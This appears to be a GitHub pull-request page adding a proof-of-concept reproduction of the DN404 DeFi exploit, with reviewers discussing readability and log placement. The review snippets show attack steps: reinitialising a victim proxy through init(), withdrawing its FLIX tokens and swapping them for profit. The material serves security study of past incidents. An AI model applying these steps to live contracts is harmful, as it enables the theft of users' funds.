-
Notifications
You must be signed in to change notification settings - Fork 1.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
feat: add DN404 attack incident #643
feat: add DN404 attack incident #643
Conversation
LouisTsai-Csie
commented
Apr 29, 2024
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Need some changes,overall good
src/test/DN404_exp.sol
Outdated
IProxy(victim).withdraw(IERC20(FLIX), amount, address(this)); | ||
Uni_Pair_V3(UniV3Pair).swap(address(this), true, 685_000_000_000_000_000_000_000, 4_295_128_740, ""); | ||
// Log balances after exploit | ||
emit log_named_decimal_uint(" Attacker USDT Balance Before exploit", IERC20(USDT).balanceOf(address(this)), 6); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Set this log to after exploit
src/test/DN404_exp.sol
Outdated
uint256 initPeriods = 1; | ||
uint256 initInterval = 1_000_000_000_000_000_000; | ||
IProxy(victim).init(IERC20(WETH), initPeriods, initInterval); | ||
uint256 amount = IERC20(FLIX).balanceOf(address(victim)); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
put this before init,so that its easy to read
README.md
Outdated
#### Contract | ||
[DN404_exp.sol](src/test/DN404_exp.sol) | ||
### Link reference | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IF not having a link reference remove this part?
@akshaynexus I made some changes according to your suggestion, please take a look. Thank you! By the way, is there any style guideline for writing the PoCs in this repo, I would like to follow for readability. |
82965e4
to
3e803c4
Compare
I don't think there is one,reason I suggested readability changes is just mostly cause what I tend to prefer whenooking at contracts at a glance |
Corrected some ordering. |